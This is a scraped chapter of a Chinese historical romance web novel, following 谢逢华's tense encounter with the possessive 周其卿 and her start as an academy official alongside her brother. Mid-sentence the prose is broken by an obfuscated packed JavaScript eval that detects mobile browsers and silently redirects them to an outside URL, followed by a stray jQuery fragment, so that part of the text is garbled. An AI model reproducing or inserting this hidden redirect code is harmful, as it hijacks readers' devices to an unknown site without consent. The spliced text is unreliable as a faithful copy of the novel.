默认冷灰
24号文字
方正启体

34. 第 34 章

作者:许归华本书字数:K更新时间:
    周其卿走后不久,谢逢华这才发现桌上被遗忘的丝帕,思来想去,还是追出门,却被看守后门的侍从告知周其卿已被明玥带走。


    谢逢华心中咯噔一下,好似有什么东西落在地上,摔得四分五裂。


    踌躇间,人已站在明玥所居的院中。


    兄长晚时用过饭便去书房备课了,屋内烛火黯然,谢逢华估摸着他已早早睡下,按住欲入室通报的家仆,悄声离开了。


    寻人路上,谢逢华偶遇明玥的贴身婢子,这才知晓明玥去了西北角的茶室。


    “需要婢子替您通传一声吗?”将谢逢华带到茶室附近,侍女好心问道。


    透过那半掩的窗扇,一长一少安然对坐。


    有一缕青烟袅袅,模糊了周其卿那一闪而过的眼色,随后若无其事般,徐徐涌入夜色中,再也寻不见一丝踪迹。


    谢逢华握紧丝帕,轻轻摇头:“我再等等。”


    晚时她还答应过嫂嫂,再三保证不会与周其卿有半点瓜葛,没成想晚上就……


    谢逢华摸了摸脸颊,莫名觉得有些疼。


    早知会被发现,那时就不该让他翻窗入户。


    谢逢华搅着帕子,时不时望向门口,既期待,又惶恐。


    正搜肠刮肚组凑合适的借口,只听“吱呀”一声,启开的门扉中央,立着她牵肠挂肚的少年。


    见到她,周其卿并无过多异色,三两步快步走到她面前,语气平和:“你怎么跟来了?”


    谢逢华下意识瞥了眼他身后,一线窗缝里,隐约能窥见摇曳的素色衣角。


    “他们说嫂嫂挟走了你,我担心,便过来瞧瞧。”


    出了庭院,走了些距离,谢逢华实在心神不宁,便停下脚步,回首问道:“你和嫂嫂说了什么?”


    周其卿双臂环胸,饶有兴致地打量她,话到唇边又嚼了几下,慢悠悠道:“说……本世子要八抬大轿迎娶谢娘子,还请明家主高抬贵手,放我们这对苦命鸳鸯一马。”


    谢逢华愈听愈觉得荒谬,强笑道:“世子,我从未答应过您,我们何日成了‘苦命鸳鸯’?”


    周其卿仰头望天,幽幽苦叹:“晚辈冒着声名扫地的风险,又是翻墙又是走后门才得谢娘子施舍一眼,到头来反成了晚辈的一厢情愿,难道还不够命苦吗?”


    谢逢华怒极反笑:“周世子,我说过,我不喜欢年纪比我小的。”


    “你喜欢陈元邑那种?”周其卿嗤笑,“一个至今未完婚却凭空生出一个孩子的负心汉,到底哪里比我好?”


    谢逢华真想用帕子裹上泥土狠狠塞进他那张喋喋不休的嘴里,“周其卿!随意诋毁旁人,这便是你的礼教吗?”


    “礼教?”


    周其卿上前一步,拉近二人距离,一字一顿道:“周家的礼教就是——用尽一切方法,得到自己想要的。”


    既要得到,那便死死握在自己手中,不许任何人觊觎半分。


    若得不到,即便毁掉也无伤大雅。


    周其卿本就高她半头,沉沉月影压在身上,划过他越发成熟的棱角,反倒添了些不近人情的冷锐。


    谢逢华下意识后退,一只臂膀绕过身侧,缠上她的腰,暗暗使力,将她固定在方寸呼吸间,动弹不得。


    断了退路,谢逢华只能将视线重新落在面前人身上。


    谢逢华昂首迎上他探究的视线,故作镇定,“周世子,您现在这幅模样,倒是和您的父亲越来越相像了。”


    “是吗?”周其卿垂眸,诡异地低声笑了下,喃喃道,“真是令人作呕。”


    他竟也如此厌恶自己的父亲吗?


    谢逢华正琢磨他这话的深意,周其卿再度开口:“谢娘子,我与父亲不一样。”


    “我有情,他无情,至少……我不会为了那些虚有其表的名声,出卖自己的家人。”


    出卖……家人?


    什么意思?


    谢逢华紧紧握着那块未送出去的丝帕,目送那抹身影融于浓夜中,隐与灯火繁华时,直至再也寻不到他的身影。


    若真到那一天,他们的立场,还会如此相似吗?


    天际一声闷雷乍响,寒雨瓢泼。


    谢逢华撑伞迈下马车。


    朱门飞檐,门下,谢怀世面色铁青,倒是比脚下的青石还要暗上几分。


    怎么回事,不是说好容舟来接她吗,怎么变成谢怀世了?


    谢逢华转身想走,却发现马车跑得比她还快。


    谢逢华迎着那道欲杀人的目光,磨蹭到谢怀世面前,视线越过他,在他身后的池潭游荡,支支吾吾唤了声:“谢学正。”


    谢怀世打量她崭新的衣裙,揶揄道:“谢学录,方才想去哪儿啊。”


    “我……我突然想起把嫂嫂忘在府中了。”谢逢华嘟哝,收了伞,扭身钻到谢怀世伞下,撒娇道,“兄长怎的有空来接妹妹了?”


    “容祭酒今日要入宫述职,腾不出空,托我来接你。”胭脂遮不住唇上苍白,谢怀世握了握她的手,蹙眉,“怎穿的这般少?不冷吗?”


    谢逢华紧了紧长衫,道:“这阴雨来得突然,来不及换了。”


    “我房中且有一袭斗篷,一会儿我取给你。”谢怀世解下防风的披风,系在她身上。


    谢怀世今日无课,谢家兄妹边走边聊,从太学规矩聊到太学学子,到后面,谢怀世唉声叹气的次数明显变多了。


    “真不知你为何非要寻这门苦差。”


    “苦不苦,也要妹妹自己说了算。”谢逢华说。


    偶时遇到下堂的学子向谢怀世拜礼问好,谢怀世皆一一应答,甚至还能清楚唤出学子姓名,问上几句课业。


    “谢学正。”刘尽才不知从哪里冒出,笑吟吟与谢家兄妹问安。


    转而看向谢逢华,刘尽才眼角有多了些许皱纹,“谢娘子……哦,该称一声谢学监,以后同在太学,这些令人闹心的学子,就劳烦谢学监多多费心了。”


    “刘博士这是哪里的话。”谢逢华哪里受得起他的恭维,诚惶诚恐道,“刘博士老成见到,该是晚辈向您学习才对。”


    谢怀世听着他们你一言我一语的奉承,一时竟插不上话。


    “本官尚有要事,不便奉陪,改日定当请谢学监同饮一杯。”说罢,转而看向谢怀世,道,“济民啊,学子们年轻气盛,不懂事,失言也是常有的事。那些话,你莫要放在心上。”


    余光瞄向身旁一无所知的谢逢话,谢怀世唇瓣碰了碰,最后却是什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533630|186445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也没辩解,失魂道了句“是”。


    待刘尽才走远,谢逢华拽了下他的衣袖,问道:“兄长,出什么事了?”


    谢怀世摇头:“没事。”


    太学学录非博士、学正等讲学职教人员,学录主辅助教学、执行惩戒,以矫正学生行为规范。


    先前由差遣太学学生充任,后因出现徇私包庇等类似的事,便由朝廷亲派命官担任,并由擢上舍生三人辅之。


    现今太学学录有命官三人,职事五人,共计八人。


    先前在太学暂居,谢逢华也曾与另两位学录打过照面,搭过几句话,因而也不算陌生。


    应容舟安排,谢逢华仍与容舟共居一所廨舍。


    只是这次,谢逢华没了先前的拘谨,在容舟平日读书的桌案上,正大光明地多放了几盏烛台和蜡烛。


    容舟早已为她铺好了崭新的被褥,床上还摆置着一套青衫,样式很新,边角有裁剪走线的痕迹,纵使皂荚洗过、香料熏过,却依旧遮掩不了时间碾过的陈旧。


    许是她曾穿过,却没来得及穿上几回,就换上了官袍,摇身一变,成了众人皆知的太学祭酒。


    青衫经过改制,贴合地穿在谢逢华身上。


    绸云绕盘髻,对着铜镜,谢逢华满意地转了几个圈。


    踏出屋,连绵阴雨顷刻烟消云散,天地豁然开朗。


    谁人不喜谢娘子,谢怀世定要第一个砍了他。


    “小妹端庄美丽,为兄倒真舍不得拱手让人了。”谢怀世侧身,挡住往来闲人投来的目光。


    谢逢华扶了扶头上木簪,颇有些得意道:“兄长这时觉得妹妹端庄美丽了?当年您故意用飞虫吓唬妹妹,爹娘问怪,您还将妹妹推出来扛骂,还有——”


    谢怀世捂住她的嘴,面上显露几分窘迫:“我的好妹妹,该铭记的兄妹之情你是丁点不记得啊。”


    谢逢华嬉笑躲开,又想到什么似的,故作深沉道:“谢学正,太学乃清正肃学之地,共事不论私情,同僚间切莫拉拉扯扯。”


    谢怀世作势扬手,“又皮痒了是罢?”


    谢逢华“唉呀”了声,脚底抹油地跑开了。


    临走时,还不忘嘱咐谢怀世保管好自己的伞,晚时便去取。


    谢逢华寻了一圈,并未在谢怀世所说的地方找到另外两个学录。


    沿着小径,穿入上舍,打眼撞见不远处人头层层叠叠堆撺,人声絮语如骤雨击窗,持久不绝。


    谢逢华好奇围上前,拨开人群挤入中央,三两个学子捂着腹部在地上翻滚哀嚎。


    一人踉跄从地上爬起,却痛得浑身痉挛,扑通一声跪坐在地,纵使已鼻青脸肿,也阻止不了一声声肮脏的咒骂。


    那人啐出一口血沫,阴恻恻盯着眼前人,“周其卿,太学谁人不知,宰相不许你参加科举。世子又如何,你注定只能做个百无一用的纨绔!”


    “哦?是吗?”


    指腹抹去唇角血痕,周其卿噙着笑,神态淡然,似不为所动,却缓缓抬起手。


    “这话,小爷不爱听。”


    周其卿手中赫然握着一柄长剑,光耀之下,渗着森冷寒意。


    伴随此起彼伏的惊呼,剑锋劈开疾风,急速朝那人脸面劈去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)